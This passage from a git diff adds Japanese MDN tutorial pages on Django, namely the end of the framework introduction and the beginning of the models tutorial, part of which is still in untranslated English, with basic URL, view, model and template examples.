かどうか」、「それは進化し続けていますか？」「必要なときに助けを得ることができますか？」「Djangoを学べば、仕事を得る機会がありますか？」などです。</p> + +<p>Djangoを使用している有名なサイトの数、コードベースにコントリビュートする人数、無料と有料の両方でサポートを提供する人数に基づいて、Djangoは普及しているフレームワークと言えるでしょう。</p> + +<p>Djangoを使用している有名なサイト: Disqus、Instagram、Knight Foundation、MacArthur Foundation、Mozilla、National Geographic、Open Knowledge Foundation、Pinterest、Open Stack (ソース: <a href="https://www.djangoproject.com/">Djangoホームページ</a>)</p> + +<h2 id="Djangoはこだわりが強いですか">Djangoはこだわりが強いですか?</h2> + +<p>Webフレームワークは、自身を "こだわりが強い" か "こだわりが強くない" と呼ぶことがあります。</p> + +<p>こだわりが強いフレームワークは、特定のタスクを処理するための "正しい方法" についてこだわりを持っています。特定のドメイン(特定の種類の問題の解決)は、どのように扱うと正しいか、広く知られており、文書化もされているため、迅速な開発をサポートします。 しかし、主ドメイン以外の問題解決において柔軟性を欠き、使用できるコンポーネントのやアプローチの選択肢が少なくなる傾向があります。</p> + +<p>対照的に、こだわりの強くないフレームワークは、目的を達成するための最善の結合されたコンポーネントの提供や、使用するコンポーネントを制限することが非常に少ないです。開発者は、特定のタスクを完了するために最も適したツールを簡単に使用できます。ただし、それらのコンポーネントを自分で見つける必要があります。<br> + <br> + Djangoは "多少こだわりがある" ので、 "両方の世界のベスト" を提供します。 ほとんどのWeb開発タスクを処理するための一連のコンポーネントと、それを使う1つ（または2つ）の正しい方法を提供します。Djangoの分離アーキテクチャでは、通常、さまざまなオプションから選択しますが、必要に応じて新しいオプションを追加できます。</p> + +<h2 id="Djangoコードはどのように見えますか">Djangoコードはどのように見えますか?</h2> + +<p>昔ながらのデータ駆動型Webサイトでは、WebアプリケーションはWebブラウザ（または他のクライアント）からのHTTPリクエストを待ちます。リクエストを受信すると、アプリケーションは、URLおよび、<code>GET</code> や <code>POST</code> データの情報に基づいて必要な処理を行います。 必要に応じてデータベースの情報を読み書きしたり、要求を満たすために必要なタスクを実行できます。 アプリケーションはWebブラウザに応答を返す際、検索したデータをHTMLテンプレートのプレースホルダに挿入し、動的にHTMLページを生成することがよくあります。</p> + +<p>Django Webアプリケーションは、通常、これらの各ステップを処理するコードを別々のファイルにグループ化します:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<ul> + <li><strong>URL: </strong>単一URLから単一の関数を介してすべてのリクエストを処理することは可能ですが、各リソースを処理する別々のビュー関数を作成する方がはるかにメンテナンスが容易です。 URLマッパーは、URLに基づいてHTTPリクエストを適切なビューにリダイレクトするために使われます。 URLマッパーは、URLに含まれる特定のパターンの文字列または数字を照合し、これらをデータとしてビュー関数に渡すこともできます。</li> + <li><strong>ビュー:</strong> ビューは、HTTPリクエストを受け取り、HTTPレスポンスを返すリクエストハンドラ関数です。ビューは、モデルを介して要求を満たすために必要なデータにアクセスし、レスポンスのフォーマットをテンプレートに委任します。</li> + <li><strong>モデル:</strong> モデルは、アプリケーションのデータ構造を定義し、データベース内のレコードを管理（追加、変更、削除）および照会するための機能を提供するPythonオブジェクトです。</li> + <li><strong>テンプレート:</strong> テンプレートは、ファイルの構造やレイアウト（HTMLページなど）を定義するテキストファイルで、プレースホルダを使用して実際のコンテンツを表します。 ビューは、モデルから取得したデータとHTMLテンプレートを使用して動的にHTMLページを作成できます。 テンプレートを使用して、あらゆる種類のファイル（HTMLである必要はありません!）の構造を定義できます。</li> +</ul> + +<div class="note"> +<p><strong>ノート</strong>: Djangoはこの構成を "モデルビューテンプレート（Model View Template, MVT）" アーキテクチャと呼んでいます。これは <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model View Controller</a> アーキテクチャとよく似ています。 </p> +</div> + +<ul> +</ul> + +<p>以下のセクションでは、Djangoアプリケーションの主要部分の外観について説明します（開発環境を設定後、詳しく説明します）。</p> + +<h3 id="リクエストを正しいビューに送信する（urls.py）">リクエストを正しいビューに送信する（urls.py）</h3> + +<p>URLマッパーは通常、<strong>urls.py</strong>という名前のファイルに格納されます。以下の例では、マッパー（<code>urlpatterns</code>）はルート（特定のURLパターン） と対応するビュー関数のマッピングのリストを定義します。指定されたパターンと一致するURLを持つHTTPリクエストが受信されると、関連するビュー関数が呼び出され、リクエストを渡します。</p> + +<pre>urlpatterns = [ + <strong>path('admin/', admin.site.urls), + </strong>path('book/<int:id>/', views.book-detail, name='book_detail'), + path('catalog/', include('catalog.urls')), + re_path(r'^([0-9]+)/$', views.best), +] +</pre> + +<p> </p> + +<p><code>urlpatterns</code>オブジェクトは<code>path()</code>や<code>re_path()</code>関数のリストです（Pythonのリストは角括弧を使って定義され、アイテムはカンマ区切りです。<a href="https://docs.python.jp/3/faq/design.html#why-does-python-allow-commas-at-the-end-of-lists-and-tuples">末尾のカンマは任意です</a>。例: <code>[item1, item2, item3,]</code>）</p> + +<p>両方の関数の最初の引数は、一致させたいルート（パターン）です。<code>path()</code> 関数では、かぎ括弧を使って、ビュー関数に名前付き引数として渡されるURLの部分を定義します。 <code>re_path()</code> 関数では、柔軟なパターンマッチング方法として知られている正規表現を使います。 これらについては後の記事で説明します。</p> + +<p>2つ目の引数は、パターンに一致したときに呼び出される別の関数です。<code>views.book_detail</code>という表記は、呼び出された<code>views</code>モジュール内（<code>views.py</code>という名前のファイル内部）で見つかる<code>book_detail()</code>関数が呼び出されることを示します。</p> + +<p> </p> + +<h3 id="リクエストの処理（views.py）">リクエストの処理（views.py）</h3> + +<p>ビューは、Webアプリケーションの中心であり、WebクライアントからHTTPリクエストを受け取り、HTTPレスポンスを返します。その中では、データベースにアクセスしたり、テンプレートをレンダリングしたりして、フレームワークの他のリソースを変換します。</p> + +<p>以下の例は、前のセクションのURLマッパーによって呼び出される最小限の <code>index()</code> ビュー関数を示しています。すべてのビュー関数と同様に、<code>HttpRequest</code>オブジェクトをパラメータ（<code>request</code>）として受け取り、<code>HttpResponse</code>オブジェクトを返却します。この場合、リクエストには何もしません。レスポンスはハードコードされた文字列を返します。後のセクションで、もっと興味深いことをするリクエストを示します。</p> + +<pre class="brush: python">## filename: views.py (Django view functions) + +from django.http import HttpResponse + +def index(request): + # Get an HttpRequest - the request parameter + # perform operations using information from the request. + # Return HttpResponse + return HttpResponse('Hello from Django!') +</pre> + +<div class="note"> +<p><strong>ノート</strong>: Pythonについて少し:</p> + +<ul> + <li><a href="https://docs.python.org/3/tutorial/modules.html">Pythonモジュール</a>は、コードで使用したい関数を別々のファイルに格納した"ライブラリ"です。ここでは、<code>HttpResponse</code>オブジェクトを <code>django.http</code>モジュールからインポートし、ビューで使用できるようにします: <code>from django.http import HttpResponse</code> モジュールからオブジェクトの一部または全部をインポートする方法は他にもあります。</li> + <li>関数は、上記のように <code>def</code> キーワードを使用して宣言し、名前付きのパラメータは関数の名前の後に括弧内に列挙します。行全体はコロンで終わります。次の行がどのように<strong>インデント</strong>されているかに注意してください。インデントは重要です。コード行が特定のブロックの内側にあることを指定しています（必須のインデントは、Pythonの重要な機能であり、Pythonコードを読むのが簡単な理由の1つです）。</li> +</ul> +</div> + +<ul> +</ul> + +<p>ビューは通常 <strong>views.py</strong> ファイルに格納します。</p> + +<h3 id="データモデルの定義（models.py）">データモデルの定義（models.py）</h3> + +<p>Django Webアプリケーションは、モデルと呼ばれるPythonオブジェクトを通じてデータを管理し、クエリを実行します。モデルは、フィールドのタイプや、最大サイズ、デフォルト値、選択リストのオプション、ドキュメントのヘルプテキスト、フォームのラベルテキストなど、格納されるデータの構造を定義します。モデルの定義は、下層のデータベース（プロジェクト設定でいくつかから選択できます）からは独立しています。使用したいデータベースを選択したあとは、直接そのデータベースとやりとりする必要はありません。モデル構造と他のコードを書くだけで、Djangoはデータベースとのやりとりのすべての面倒な作業を処理します。</p> + +<p>以下のコードスニペットは、<code>Team</code>オブジェクトの非常に単純なDjangoモデルを示しています。<code>Team</code>クラスは、Djangoの<code>models.Model</code>クラスを継承しています。これは、チーム名とチームレベルを文字列フィールドとして定義し、各レコードに格納する最大文字数を指定します。<code>team_level</code>はいくつかの値の一つになる可能性があります。したがって、この値を選択フィールドとして定義し、表示する選択項目と保存するデータの間のマッピングをデフォルト値とともに提供します。</p> + +<pre class="brush: python"># filename: models.py + +from django.db import models + +class Team(models.Model): + team_name = models.CharField(max_length=40) + + TEAM_LEVELS = ( + ('U09', 'Under 09s'), + ('U10', 'Under 10s'), + ('U11', 'Under 11s'), + ... #list other team levels + ) + team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') +</pre> + +<div class="note"> +<p><strong>ノート</strong>: Pythonについて少し:</p> + +<ul> + <li>Pythonは "オブジェクト指向プログラミング" をサポートしています。これは、データとそのデータを操作するための関数を含むオブジェクトにコードを組み上げるプログラミングのスタイルです。オブジェクトは、他のオブジェクトから継承/拡張/派生することができ、関連するオブジェクト間の共通の動作を共有できます。 Pythonでは<code>class</code> キーワードを使用してオブジェクトの "ブループリント" を定義します。クラス内のモデルに基づくオブジェクトタイプの複数のインスタンスを作成できます。<br> + <br> + たとえば、ここでは<code>Model</code>クラスから派生した <code>Team</code>クラスがあります。 これは、それがモデルであり、モデルのすべてのメソッドを含むことを意味しますが、独自の特別な機能も提供できます。我々のモデルでは、データベースにデータを格納するために必要なフィールドを定義し、名前を付けます。Djangoは、フィールド名を含むこれらの定義を使用して、下層のデータベースを作成します。</li> +</ul> +</div> + +<h3 id="データの問い合わせ（views.py）">データの問い合わせ（views.py）</h3> + +<p>Djangoモデルは、データベースを検索するための簡単なクエリAPIを提供します。これは、さまざまな照合基準（例：完全一致、大文字小文字を区別しない、大なりなど）を使用して一度にいくつかのフィールドと照合でき、複雑なステートメントをサポートできます（たとえば、「U11チームのうち、"Fr"で始まるか"al"で終わる名前」）。</p> + +<p>コードスニペットには、U09チームのすべてを表示するためのビュー機能（リソースハンドラ）が示されています。太字の線は、モデルクエリAPIを使用して、<code>team_level</code> フィールドに完全一致でテキスト 'U09' があるすべてのレコードをフィルタリングする方法を示しています。 （<code>filter()</code> 関数には、照合基準としてフィールド名とマッチタイプをダブルアンダースコアで区切った引数で渡していることに注意してください: <strong>team_level__exact）</strong></p> + +<pre class="brush: python">## filename: views.py + +from django.shortcuts import render +from .models import Team + +def index(request): + <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong> + context = {'youngest_teams': list_teams} + return render(request, '/best/index.html', context) +</pre> + +<dl> +</dl> + +<p>この関数は、ブラウザに返信される<code>HttpResponse</code>を生成するために <code>render()</code> 関数を使います。この関数はショートカットです。指定されたHTMLテンプレートとテンプレートに挿入するいくつかのデータ（"<code>context</code>"という名前の変数で提供される）を組み合わせてHTMLファイルを作成します。次のセクションでは、HTMLを作成するためにテンプレートにデータがどのように挿入されているかを示します。</p> + +<h3 id="データのレンダリング（HTMLテンプレート）">データのレンダリング（HTMLテンプレート）</h3> + +<p>テンプレートシステムでは、出力ドキュメントの構造を指定できます。ページの生成時に埋められるデータはプレースホルダを使用します。テンプレートはHTMLを作成するためによく使われますが、他のタイプドキュメントも作成できます。Djangoはネイティブのテンプレートシステムと、Jinja2と呼ばれる一般的なPythonライブラリの両方をサポートしています。（必要に応じて他のシステムもサポートできます）</p> + +<p>コードスニペットは、前のセクションの <code>render()</code>関数で呼び出されるHTMLテンプレートの外観を示しています。 このテンプレートは、レンダリング時に<code>youngest_teams</code> というリスト変数（上記の<code>render()</code>関数によってコンテキスト変数に含まれます）にアクセスできる前提で作成されています。HTMLスケルトンでは、<code>youngest_teams</code>変数が存在するかどうかを最初にチェックし、それを <code>for</code>ループで繰り返す式があります。各繰り返しにおいて、テンプレートは各チームの<code>team_name</code>値を{{htmlelement("li")}}要素に表示します。</p> + +<pre class="brush: python">## filename: best/templates/best/index.html + +<!DOCTYPE html> +<html lang="en"> +<body> + + {% if youngest_teams %} + <ul> + {% for team in youngest_teams %} + <li>\{\{ team.team_name \}\}</li> + {% endfor %} + </ul> +{% else %} + <p>No teams are available.</p> +{% endif %} + +</body> +</html></pre> + +<h2 id="他に何ができますか？"><font><font>他に何ができますか？</font></font></h2> + +<p>前のセクションでは、ほとんどのWebアプリケーションで使用する主な機能（URLマッピング、ビュー、モデルおよびテンプレート）を示しました。Djangoが提供する他の機能のいくつかを紹介します:</p> + +<ul> + <li><strong>フォーム</strong>: HTMLフォームはユーザーデータを集めて、サーバー上で処理するために使われます。Djangoは、フォームの作成、検証、および処理を簡素化します。</li> + <li><strong>ユーザー認証と権限</strong>: Djangoは、セキュリティを考慮して構築された強固なユーザー認証および権限システムを含んでいます。 </li> + <li><strong>キャッシュ</strong>: コンテンツを動的に作成することは、静的なコンテンツを提供するよりもはるかに計算処理が多い（かつ低速）です。Djangoは、レンダリングされたページのすべて、または一部を保存できるように、柔軟なキャッシュを提供し、必要な場合を除いて再レンダリングされないようにします。</li> + <li><strong>管理サイト</strong>: Djangoの管理サイトは、基本的な骨組みを使ってアプリケーションを作成すると、デフォルトで含まれています。サイト管理者がサイト内のデータモデルを作成、編集、表示するための管理ページを簡単に提供できます。</li> + <li><strong>データのシリアライズ</strong>: Djangoを使用すると、簡単にXMLやJSONとしてデータをシリアライズして提供できます。これは、Webサービス（他のアプリケーションやサイトで使われるデータを純粋に提供し、何も表示しないWebサイト）を作成する場合や、クライアントサイドのコードがすべてのデータのレンダリングする場合に便利です。</li> +</ul> + +<h2 id="要約">要約</h2> + +<p>おめでとう、あなたはDjangoの旅の最初のステップを完了しました！Djangoの主なメリット、歴史について少し分かって、Djangoアプリケーションの主要部分のそれぞれがどのように見えるかを理解する必要があります。リスト、関数、クラスの構文も含めて、Pythonプログラミング言語についていくつか学んだことがあります。</p> + +<p>上記では実際のDjangoコードをいくつか見ましたが、クライアントサイドのコードとは異なり、実行するための開発環境をセットアップする必要があります。それが次のステップです。</p> + +<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div> + +<h2 id="このモジュール内">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Server-side/Django/Introduction">Django の紹介</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/development_environment">Django 開発環境の設定</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django チュートリアル: 地域図書館ウェブサイト</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/skeleton_website">Django チュートリアル Part 2: ウェブサイトの骨組み作成</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Models">Django チュートリアル Part 3: モデルの使用</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Admin_site">Django チュートリアル Part 4: Django 管理サイト</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Home_page">Django チュートリアル Part 5: ホームページの作成</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Generic_views">Django チュートリアル Part 6: 汎用の一覧表示と詳細表示</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Sessions">Django チュートリアル Part 7: セッションフレームワーク</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Authentication">Django チュートリアル Part 8: ユーザー認証と権限</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Forms">Django チュートリアル Part 9: フォームの操作</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Testing">Django チュートリアル Part 10: Django ウェブアプリケーションのテスト</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Deployment">Django チュートリアル Part 11: Django を本番環境にデプロイする</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/web_application_security">Django ウェブアプリケーションセキュリティ</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django ミニブログ</a></li> +</ul> diff --git a/files/ja/learn/server-side/django/models/index.html b/files/ja/learn/server-side/django/models/index.html new file mode 100644 index 0000000000..fb3952f6b9 --- /dev/null +++ b/files/ja/learn/server-side/django/models/index.html @@ -0,0 +1,461 @@ +--- +title: 'Django チュートリアル Part 3: モデルの使用' +slug: Learn/Server-side/Django/Models +translation_of: Learn/Server-side/Django/Models +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</div> + +<p class="summary">この記事では、LocalLibrary Web サイトのモデルを定義する方法を説明します。モデルとは何か、その宣言方法、および主要なフィールドタイプについて説明します。また、モデルデータにアクセスするための主な方法のいくつかについても簡単に説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django チュートリアル Part 2: Web サイトの骨組み作成</a>.</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>適切なフィールドを選択しながら、独自のモデルを設計および作成できるようになる。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>Django web applications access and manage data through Python objects referred to as models. Models define the <em>structure</em> of stored data, including the field <em>types</em> and possibly also their maximum size, default values, selection list options, help text for documentation, label text for forms, etc. The definition of the model is independent of the underlying database — you can choose one of several as part of your project settings. Once you've chosen what database you want to use, you don't need to talk to it directly at all — you just write your model structure and other code, and Django handles all the dirty work of communicating with the database for you.</p> + +<p>This tutorial shows how to define and access the models for the <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary website</a> example.</p> + +<h2 id="Designing_the_LocalLibrary_models">Designing the LocalLibrary models</h2> + +<p>Before you jump in and start coding the models, it's worth taking a few minutes to think about what data we need to store and the relationships between the different objects.</p> + +<p>We know that we need to store information about books (title, summary, author, written language, category, ISBN) and that we might have multiple copies available (with globally unique id, availability status, etc.). We might need to store more information about the author than just their name, and there might be multiple authors with the same or similar names. We want to be able to sort information based on book title, author, written language, and category.</p> + +<p>When designing your models it makes sense to have separate models for every "object" (a group of related information). In this case, the obvious objects are books, book instances, and authors.</p> + +<p>You might also want to use models to represent selection-list options (e.g. like a drop down list of choices), rather than hard coding the choices into the website itself — this is recommended when all the options aren't known up front or may change. Obvious candidates for models, in this case, include the book genre (e.g. Science Fiction, French Poetry, etc.) and language (English, French, Japanese).</p> + +<p>Once we've decided on our models and field, we need to think about the relationships. Django allows you to define relationships that are one to one (<code>OneToOneField</code>), one to many (<code>ForeignKey</code>) and many to many (<code>ManyToManyField</code>).</p> + +<p>With that in mind, the UML association diagram below shows the models we'll define in this case (as boxes).</p> + +<p><img alt="LocalLibrary Model UML" src="https://mdn.mozillademos.org/files/16479/local_library_model_uml.png" style="height: 660px; width: 977px;"></p> + +<p>We've created models for the book (the generic details of the book), book instance (status of specific physical copies of the book available in the system), and author. We have also decided to have a model for the genre so that values can be created/selected through the admin interface. We've decided not to have a model for the <code>BookInstance:status</code> — we've hardcoded the values (<code>LOAN_STATUS</code>) because we don't expect these to change. Within each of the boxes, you can see the model name, the field names, and types, and also the methods and their return types.</p> + +<p>The diagram also shows the relationships between the models, including their <em>multiplicities</em>. The multiplicities are the numbers on the diagram showing the numbers (maximum and minimum) of each model that may be present in the relationship. For example, the connecting line between the boxes shows that Book and a Genre are related. The numbers close to the Genre model show that a book must have one or more Genres (as many as you like), while the numbers on the other end of the line next to the Book model show that a Genre can have zero or many associated books.</p> + +<div class="note"> +<p><strong>Note</strong>: The next section provides a basic primer explaining how models are defined and used. As you read it, consider how we will construct each of the models in the diagram above.</p> +</div> + +<h2 id="Model_primer">Model primer</h2> + +<p>This section provides a brief overview of how a model is defined and some of the more important fields and field arguments.</p> + +<h3 id="Model_definition">Model definition</h3> + +<p>Models are usually defined in an application's <strong>models.py</strong> file. They are implemented as subclasses of <code>django.db.models.Model</code>, and can include fields, methods and metadata. The code fragment below shows a "typical" model, named <code>MyModelName</code>:</p> + +<pre>from django.db import models + +class MyModelName(models.Model): + """A typical class defining a model, derived from the Model class.""" + + # Fields + my_field_name = models.CharField(max_length=20, help_text='Enter field documentation') + ... + + # Metadata + class Meta: + ordering = ['-my_field_name'] + + # Methods + def get_absolute_url(self): + """Returns the url to access a particular instance of MyModelName.""" + return reverse('model-detail-view', args=[str(self.id)]) + + def __str__(self): + """String for representing the MyModelName object (in Admin site etc.).""" + return self.my_field_name</pre> + +<p>In the below sections we'll explore each of the features inside the model in detail:</p> + +<h4 id="Fields">Fields</h4> + +<p>A model can have an arbitrary number of fields, of any type — each one represents a column of data that we want to store in one of our database tables. Each database record (row) will consist of one of each field value. Let's look at the example seen below:</p> + +<pre class="brush: js">my_field_name = models.CharField(max_length=20, help_text='Enter field documentation')</pre> + +<p>Our above example has a single field called <code>my_field_name</code>, of type <code>models.CharField</code> — which means that this field will contain strings of alphanumeric characters. The field types are assigned using specific classes, which determine the type of record that is used to store the data in the database, along with validation criteria to be used when values are received from an HTML form (i.e. what constitutes a valid value). The field types can also take arguments that further specify how the field is stored or can be used. In this case we are giving our field two arguments:</p> + +<ul> + <li><code>max_length=20</code> — States that the maximum length of a value in this field is 20 characters.</li> + <li><code>help_text='Enter field documentation'</code> — provides a text label to display to help users know what value to provide when this value is to be entered by a user via an HTML form.</li> +</ul> + +<p>The field name is used to refer to it in queries and templates. Fields also have a label, which is either specified as an argument (<code>verbose_name</code>) or inferred by capitalising the first letter of the field's variable name and replacing any underscores with a space (for example <code>my_field_name</code> would have a default label of <em>My field name</em>).</p> + +<p>The order that fields are declared will affect their default order if a model is rendered in a form (e.g. in the Admin site), though this may be overridden.</p> + +<h5 id="Common_field_arguments">Common field arguments</h5> + +<p>The following common arguments can be used when declaring many/most of the different field types:</p> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#help-text">help_text</a>: Provides a text label for HTML forms (e.g. in the admin site), as described above.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#verbose-name">verbose_name</a>: A human-readable name for the field used in field labels. If not specified, Django will infer the default verbose name from the field name.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#default">default</a>: The default value for the field. This can be a value or a callable object, in which case the object will be called every time a new record is created.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#null">null</a>: If <code>True</code>, Django will store blank values as <code>NULL</code> in the database for fields where this is appropriate (a <code>CharField</code> will instead store an empty string). The default is <code>False</code>.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#blank">blank</a>: If <code>True</code>, the field is allowed to be blank in your forms. The default is <code>False</code>, which means that Django's form validation will force you to enter a value. This is often used with <code>null=True</code> , because if you're going to allow blank values, you also want the database to be able to represent them appropriately.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#choices">choices</a>: A group of choices for this field. If this is provided, the default corresponding form widget will be a select box with these choices instead of the standard text field.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#primary-key">primary_key</a>: If <code>True</code>, sets the current field as the primary key for the model (A primary key is a special database column designated to uniquely identify all the different table records). If no field is specified as the primary key then Django will automatically add a field for this purpose.</li> +</ul> + +<p>There are many other options — you can view the <a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#field-options">full list of field options here</a>.</p> + +<h5 id="Common_field_types">Common field types</h5> + +<p>The following list describes some of the more commonly used types of fields. </p> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#django.db.models.CharField">CharField</a> is used to define short-to-mid sized fixed-length strings. You must specify the <code>max_length</code> of the data to be stored.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#django.db.models.TextField">TextField</a> is used for large arbitrary-length strings. You may specify a <code>max_length</code> for the field, but this is used only when the field is displayed in forms (it is not enforced at the database level).</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#django.db.models.IntegerField" title="django.db.models.IntegerField">IntegerField</a> is a field for storing integer (whole number) values, and for validating entered values as integers in forms.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#datefield">DateField</a> and <a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#datetimefield">DateTimeField</a> are used for storing/representing dates and date/time information (as Python <code>datetime.date</code> in and <code>datetime.datetime</code> objects, respectively). These fields can additionally declare the (mutually exclusive) parameters <code>auto_now=True</code> (to set the field to the current date every time the model is saved), <code>auto_now_add</code> (to only set the date when the model is first created) , and <code>default</code> (to set a default date that can be overridden by the user).</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#emailfield">EmailField</a> is used to store and validate email addresses.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#filefield">FileField</a> and <a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#imagefield">ImageField</a> are used to upload files and images respectively (the <code>ImageField</code> simply adds additional validation that the uploaded file is an image). These have parameters to define how and where the uploaded files are stored.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#autofield">AutoField</a> is a special type of <code>IntegerField</code> that automatically increments. A primary key of this type is automatically added to your model if you don’t explicitly specify one.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#foreignkey">ForeignKey</a> is used to specify a one-to-many relationship to another database model (e.g. a car has one manufacturer, but a manufacturer can make many cars). The "one" side of the relationship is the model that contains the "key" (models containing a "foreign key" referring to that "key", are on the "many" side of such a relationship).</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#manytomanyfield">ManyToManyField</a> is used to specify a many-to-many relationship (e.g. a book can have several genres, and each genre can contain several books). In our library app we will use these very similarly to <code>ForeignKeys</code>, but they can be used in more complicated ways to describe the relationships between groups. These have the parameter <code>on_delete</code> to define what happens when the associated record is deleted (e.g. a value of <code>models.SET_NULL</code> would simply set the value to <code>NULL</code>).</li> +</ul> + +<p>There are many other types of fields, including fields for different types of numbers (big integers, small integers, floats), booleans, URLs, slugs, unique ids, and other "time-related" information (duration, time, etc.). You can view the <a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#field-types">full list here</a>.</p> + +<h4 id="Metadata">Metadata</h4> + +<p>You can declare model-level metadata for your Model by declaring <code>class Meta</code>, as shown.</p> + +<pre class="brush: python">class Meta: + ordering = ['-my_field_name'] +</pre> + +<p>One of the most useful features of this metadata is to control the <em>default ordering</em> of records returned when you query the model type. You do this by specifying the match order in a list of field names to the <code>ordering</code> attribute, as shown above. The ordering will depend on the type of field (character fields are sorted alphabetically, while date fields are sorted in chronological order). As shown above, you can prefix the field name with a minus symbol (-) to reverse the sorting order.</p> + +<p>So as an example, if we chose to sort books like this by default:</p> + +<pre class="brush: python">ordering = ['title', '-pubdate']</pre> + +<p>the books would be sorted alphabetically by title, from A-Z, and then by publication date inside each title, from newest to oldest.</p> + +<p>Another common attribute is <code>verbose_name</code>, a verbose name for the class in singular and plural form:</p> + +<pre class="brush: python">verbose_name = 'BetterName'</pre> + +<p>Other useful attributes allow you to create and apply new "access permissions" for the model (default permissions are applied automatically), allow ordering based on another field, or to declare that the class is "abstract" (a base class that you cannot create records for, and will instead be derived from to create other models).</p> + +<p>Many of the other metadata options control what database must be used for the model and how the data is stored (these are really only useful if you need to map a model to an existing database).</p> + +<p>The full list of metadata options are available here: <a href="https://docs.djangoproject.com/en/2.1/ref/models/options/">Model metadata options</a> (Django docs).</p> + +<h4 id="Methods">Methods</h4> + +<p>A model can also have methods.</p> + +<p><strong>Minimally, in every model you should define the standard Python class method <code>__str__()</code> to return a human-readable string for each object.</strong> This string is used to represent individual records in the administration site (and anywhere else you need to refer to a model instance). Often this will return a title or name field from the model.</p> + +<pre class="brush: python">def __str__(self): + return self.field_name</pre> + +<p>Another common method to include in Django models is <code>get_absolute_url()</code>, which returns a URL for displaying individual model records on the website (if you define this method then Django will automatically add a "View on Site" button to the model's record editing screens in the Admin site). A typical pattern for <code>get_absolute_url()</code> is shown below.</p> + +<pre class="brush: python">def get_absolute_url(self): + """Returns the url to access a particular instance of the model.""" + return reverse('model-detail-view', args=[str(self.id)]) +</pre> + +<div class="note"> +<p><strong>Note</strong>: Assuming you will use URLs like <code>/myapplication/mymodelname/2</code> to display individual records for your model (where "2" is the <code>id</code> for a particular record), you will need to create a URL mapper to pass the response and id to a "model detail view" (which will do the work required to display the record). The <code>reverse()</code> function above is able to "reverse" your url mapper (in the above case named <em>'model-detail-view'</em>) in order to create a URL of the right format.</p> + +<p>Of course to make this work you still have to write the URL mapping, view, and template!</p> +</div> + +<p>You can also define any other methods you like, and call them from your code or templates (provided that they don't take any parameters).</p> + +<h3 id="Model_management">Model management</h3> + +<p>Once you've defined your model classes you can use them to create, update, or delete records, and to run queries to get all records or particular subsets of records. We'll show you how to do that in the tutorial when we define our views, but here is a brief summary.</p> + +<h4 id="Creating_and_modifying_records">Creating and modifying records</h4> + +<p>To create a record you can define an instance of the model and then call <code>save()</code>.</p> + +<pre class="brush: python"># Create a new record using the model's constructor. +record = MyModelName(my_field_name="Instance #1") + +# Save the object into the database. +record.save() +</pre> + +<div class="note"> +<p><strong>Note</strong>: If you haven't declared any field as a <code>primary_key</code>, the new record will be given one automatically, with the field name <code>id</code>. You could query this field after saving the above record, and it would have a value of 1.</p> +</div> + +<p>You can access the fields in this new record using the dot syntax, and change the values. You have to call <code>save()</code> to store modified values to the database.</p> + +<pre class="brush: python"># Access model field values using Python attributes. +print(record.id) # should return 1 for the first record. +print(record.my_field_name) # should print 'Instance #1' + +# Change record by modifying the fields, then calling save(). +record.my_field_name = "New Instance Name" +record.save()</pre> + +<h4 id="Searching_for_records">Searching for records</h4> + +<p>You can search for records that match certain criteria using the model's <code>objects</code> attribute (provided by the base class).</p> + +<div class="note"> +<p><strong>Note</strong>: Explaining how to search for records using "abstract" model and field names can be a little confusing. In the discussion below we'll refer to a <code>Book</code> model with 